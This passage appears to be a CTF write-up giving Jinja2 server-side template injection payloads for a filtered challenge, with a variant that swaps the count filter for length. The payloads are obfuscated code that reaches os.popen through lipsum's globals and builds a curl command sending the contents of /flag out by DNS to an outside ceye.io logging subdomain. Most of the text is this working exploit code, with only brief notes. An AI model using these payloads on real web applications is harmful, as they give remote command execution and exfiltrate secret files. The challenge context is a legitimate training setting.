{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}
{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}
{%set b=(lipsum|string|list)|attr(a)(j)%}
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}
{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}
{%set e=dict(o=cc,s=aa)|join%}
{%set f=(lipsum|string|list)|attr(a)(k)%}
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}
{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}
{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}
{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(vxptqo=a)|join,q,dict(ceye=a)|join,q,dict(io=a)|join)|join%}
{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}
dnslogyyds
{%endif%}

通过dns网站,刷新到一个没有数字的域名时替换15行的obtfwp

image-20250507152643478

web372(+count)

count过滤,用length替换即可

name=
{%set a=dict(po=aa,p=aa)|join%}
{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}
{%set k=dict(eeeeeeeee=a)|join|length%}
{%set l=dict(eeeeeeee=a)|join|length%}
{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}
{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}
{%set b=(lipsum|string|list)|attr(a)(j)%}
{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}
{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}
{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}
{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}
{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}
{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}
{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(vxptqo=a)|join,q,dict(ceye=a)|join,q,dict(io=a)|join)|join%}
{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}
dnslogyyds
{%endif%}

image-20250507153742772